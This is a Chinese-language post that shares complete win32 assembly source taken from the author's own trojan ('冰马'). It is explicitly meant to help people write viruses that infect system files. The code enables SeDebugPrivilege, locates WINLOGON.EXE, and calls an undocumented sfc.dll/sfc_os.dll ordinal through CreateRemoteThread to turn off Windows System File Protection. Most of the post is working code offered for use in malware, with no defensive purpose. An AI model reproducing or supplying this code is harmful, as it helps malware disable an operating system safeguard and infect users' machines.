对于写一些感染系统文件的病毒或木马时,那个"系统文件保护"好象满让人讨厌的,下面给大家一个关闭系统文件保护汇编例子[摘自我个人所写的"冰马"],希望对和我一样初学win32汇编的新手有点帮助!
[转载请保留出处]
作者:冰狐浪子 [http://www.icyfoxlovelace.com]
代码共分四个部分
关闭系统文件保护例子.asm
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include advapi32.inc
includelib advapi32.lib
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;冰狐浪子作品代码节选
include 关闭文件保护.asm
Fsb db "无法关闭文件保护!",0
Fcg db "成功关闭文件保护!",0
start:
call _Sfcoff ;关闭文件保护
.if eax
invoke MessageBox,NULL,offset Fcg,offset Fcg,MB_OK
.else
invoke MessageBox,NULL,offset Fsb,offset Fsb,MB_OK
.endif
ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
提升权限.asm
;提升权限,获得在系统进程中插入代码的权限
;冰狐浪子作品代码节选
;include advapi32.inc
;includelib advapi32.lib
SE_DEBUG_NAME_Y db "SeDebugPrivilege",0
_EnableDebugPrivilege proc
local @hToken
local @tp:TOKEN_PRIVILEGES
invoke GetCurrentProcess
lea ecx,@hToken
invoke OpenProcessToken,eax,TOKEN_ADJUST_PRIVILEGES,ecx ;addr @hToken
mov @tp.PrivilegeCount,1
invoke LookupPrivilegeValue,NULL,addr SE_DEBUG_NAME_Y,addr @tp.Privileges[0].Luid
mov @tp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
invoke AdjustTokenPrivileges,@hToken,FALSE,addr @tp,sizeof @tp,NULL,NULL
push eax
invoke CloseHandle,@hToken
pop eax
ret
_EnableDebugPrivilege endp
查找进程.asm
;根据程序名,查找进程id
;冰狐浪子作品代码节选
;include kernel32.inc
;includelib kernel32.lib
; 例:
; namePr db "EXPLORER.EXE",0
; ............
; invoke _findProcess,offset namePr
; .if eax
; 找到
; .else
; 没找到
; .endif
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;清零
_ZeroMemory proc _lpDest,_dwSize
push edi
cld
;push _lpDest
mov edi,_lpDest
mov ecx,_dwSize
xor eax,eax
rep stosb
;pop eax
pop edi
ret
_ZeroMemory endp
;计算字符串长度(带尾部的0)
_lstrlen proc _lpString
push edi
cld
mov edi,_lpString
mov ecx,-1
xor al,al
repnz scasb
mov eax,edi
sub eax,_lpString
pop edi
ret
_lstrlen endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;;查找进程id 参数:@ProcessName指向进程名的大写字符串地址
;;eax=返回的id(eax=0表示没找到)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_findProcess proc @ProcessName
local @StringLength ;@ProcessName指向的字符串长度
;用于获取进程
local @hSnapShot
local @stProcess:PROCESSENTRY32
;********************************************************************
; 计算传入 进程名 字符串的长度(带尾部的0)
;********************************************************************
invoke _lstrlen,@ProcessName
mov @StringLength,eax
invoke _ZeroMemory,addr @stProcess,sizeof @stProcess
mov @stProcess.dwSize,sizeof @stProcess
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
mov @hSnapShot,eax
invoke Process32First,@hSnapShot,addr @stProcess
.while eax
lea esi,@stProcess.szExeFile
push esi
mov edi,esi
;变为大写字母
_nextz:
lodsb
cmp al,60h
jc @F
cmp al,7Bh
ja @F
and al,not 20h
@@: STOSB
cmp al,"/"
jnz @F
pop ecx ;保存的esi出栈,无用
push esi
@@:
or al,al
jne _nextz
mov ecx,@StringLength ;字符串比较
pop esi
mov edi,@ProcessName
repz cmpsb
.if ZERO? ;找到了同名进程(ZF=1)
mov eax,@stProcess.th32ProcessID
jmp @F
.endif
invoke Process32Next,@hSnapShot,addr @stProcess
.endw
push eax
invoke CloseHandle,@hSnapShot
pop eax
@@: ret
_findProcess endp
关闭文件保护.asm
;冰狐浪子作品代码节选
include 提升权限.asm
include 查找进程.asm
namePr db "WINLOGON.EXE",0
sfc_2000 db 'sfc.dll',0
sfc_xp db 'sfc_os.dll',0
;关闭文件保护
_Sfcoff proc
local @hSfc
local @hProcess
invoke _EnableDebugPrivilege ;提升权限
invoke _findProcess,offset namePr ;查找进程
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION,FALSE,eax
;PROCESS_ALL_ACCESS
.if eax
mov @hProcess,eax ;进程句柄
invoke LoadLibrary,offset sfc_2000
.if !eax
invoke LoadLibrary,offset sfc_xp
.endif
mov @hSfc,eax
invoke GetProcAddress,eax,2
push eax
invoke FreeLibrary,@hSfc
pop eax
.if eax
xor ecx,ecx
invoke CreateRemoteThread,@hProcess,ecx,ecx,eax,ecx,ecx,ecx
.if eax
invoke CloseHandle,eax
jmp @F
.endif
.endif
invoke CloseHandle,@hProcess ;关闭进程句柄
.endif
xor eax,eax
@@: ret
_Sfcoff endp